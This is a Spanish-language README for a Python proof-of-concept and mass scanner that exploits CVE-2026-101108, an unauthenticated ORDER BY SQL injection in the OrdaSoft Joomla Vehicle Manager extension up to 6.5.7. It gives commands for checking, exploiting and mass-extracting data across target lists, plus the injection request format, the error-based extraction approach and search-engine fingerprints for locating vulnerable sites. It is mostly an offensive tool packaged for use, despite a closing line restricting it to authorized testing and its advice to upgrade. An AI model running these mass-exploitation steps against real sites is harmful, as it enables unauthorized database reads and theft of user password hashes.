
PoC en Python 3 y escáner masivo para CVE-2026-101108, una inyección SQL ORDER BY no autenticada en OrdaSoft Joomla Vehicle Manager <=6.5.7 (com_vehiclemanager).
PoC en Python 3 para CVE-2026-101108 — extensión Joomla OrdaSoft Vehicle Manager (Free) ≤ 6.5.7. Corregido en 6.5.8+.
| PoCbit | https://pocbit.org/pocs/cve-2026-101108 |
| Catálogo | https://pocbit.org/pocs/ |
| Componente | com_vehiclemanager |
| Archivo | site/vehiclemanager.php |
| Parámetros | order_field, order_direction → ORDER BY (sin comillas) |
| Autenticación | Ninguna (vistas públicas de categoría / búsqueda / todos los vehículos) |
| CWE | CWE-89 Inyección SQL |
| CVSS 4.0 | 9.3 Crítico (Joomla CNA) |
Vehicle Manager (Free) es una extensión de OrdaSoft que ofrece anuncios de vehículos (categoría, búsqueda, todos los vehículos) en Joomla. En las versiones 6.5.7 y anteriores, los parámetros de ordenación order_field y order_direction se procesan dentro de site/vehiclemanager.php: se aplica escaping sobre la entrada, pero como el valor se coloca en una expresión ORDER BY sin comillas, el escape resulta ineficaz contra SQLi (descripción del CNA).
Sin autenticación, el atacante puede leer/escribir en la base de datos, lo que supone un riesgo crítico para los hashes de usuarios de Joomla y la integridad del sitio. Actualice a la versión 6.5.8 o superior.
El código típico de Joomla/PHP podría pasar la entrada del usuario por un "sanitizador" que escapa comillas para literales de cadena. En ORDER BY, los nombres de columna y las expresiones no son literales de cadena — la clave de ordenación se concatena como estructura SQL. Un atacante proporciona expresiones como subconsultas basadas en errores en lugar de un nombre de columna real. El texto del CNA para CVE-2026-101108 documenta explícitamente este patrón de omisión del escape.
Puntos de entrada anónimos del frontend afectados:
showCategory)search / tareas relacionadas)showVehicles y similares)| Modo | Comportamiento |
|---|---|
| check | Fingerprint del componente + versión del manifest, descubre catid/Itemid, confirma SQLi |
| exploit | Doble consulta basada en errores estilo EXTRACTVALUE vía ORDER BY |
| mass | --list + -j para comprobación masiva o extracción masiva |
Vectores de inyección probados (el primero exitoso gana en exploit):
order_field GETorder_direction GET (asc,<subquery>)order_field POSTorder_direction POSTCampos JSONL: pocbit, pocbit_catalog, pocbit_page, cve, component.
cd CVE-2026-101108
pip install -r requirements.txt
python poc.py -u https://target.example --mode check
python poc.py -u https://target.example --mode check --aggressive
python poc.py -u https://target.example --mode exploit
python poc.py -u https://target.example --mode exploit --subquery "SELECT user()"
python poc.py -u https://target.example --mode exploit --vector order_direction_get
python poc.py --list targets.example.txt --mode check -j 40 --vuln-list hits.txt
python poc.py --list hits.txt --mode exploit -j 15 --subquery "SELECT VERSION()" --exploited-list exploited.txt
| Flag | Significado |
|---|---|
--aggressive | El modo check también intenta la fuga SELECT VERSION() |
--subquery | SELECT interno para el payload basado en errores (MySQL) |
--vector | Fuerza uno de los cuatro vectores ORDER BY |
--exploited-list | Fugas separadas por tabulaciones en exploit exitoso |
--no-color | CLI sin color (NO_COLOR respetado) |
Códigos de salida: modo exploit 0 cuando exploited: true; modo check 0 cuando exploitable_candidate.
Ruta de categoría (parámetros de ordenación añadidos por el PoC):
GET /index.php?option=com_vehiclemanager&task=showCategory&catid=1&order_field=<payload>&order_direction=asc HTTP/1.1
Línea base de la ruta de búsqueda construida por el PoC:
GET /index.php?option=com_vehiclemanager&task=search&submit=Search&catid=0&maker=&fuel_type=all&model=all&listing_type=all&transmission=all HTTP/1.1
Cuando es legible:
/administrator/components/com_vehiclemanager/vehiclemanager.xmlVersión ≤ 6.5.7 → likely_vulnerable_version. ≥ 6.5.8 → patched_version.
body="option=com_vehiclemanager"
body="/components/com_vehiclemanager/" && body="Joomla"
title="Vehicle" && body="com_vehiclemanager"
body="ordasoft" && body="vehiclemanager"
Exporte los hosts a targets.txt (una URL base por línea), luego check → hits → exploit solo sobre activos autorizados.
Misma ventana de divulgación que los CVE de Real Estate Manager (p. ej. CVE-2026-100752 / CVE-2026-100753): múltiples extensiones Joomla de OrdaSoft recibieron correcciones de SQLi/XSS. Si ejecuta Vehicle Manager, parchee todos los componentes de OrdaSoft que despliegue.
| CVE | Producto | Problema | Corregido |
|---|---|---|---|
| CVE-2026-101108 | Vehicle Manager (Free) | SQLi no autenticada en ORDER BY | 6.5.8 |
| CVE-2026-100752 | Real Estate Manager | SQLi no autenticada en ORDER BY | 6.7.9 |
Crédito (CNA): Ala Arfaoui.
com_vehiclemanager (versiones antiguas, parámetros de búsqueda) — distinta pero relacionada con la superficie del componenteSolo pruebas de seguridad autorizadas y validación de parches.
CVE-2026-101108 PoC: OrdaSoft Joomla Vehicle Manager (Free) <=6.5.7 unauth SQLi — order_field/order_direction unquoted ORDER BY (com_vehiclemanager). Colored check + mass exploit, CVSS 9.3. https://pocbit.org/pocs/cve-2026-101108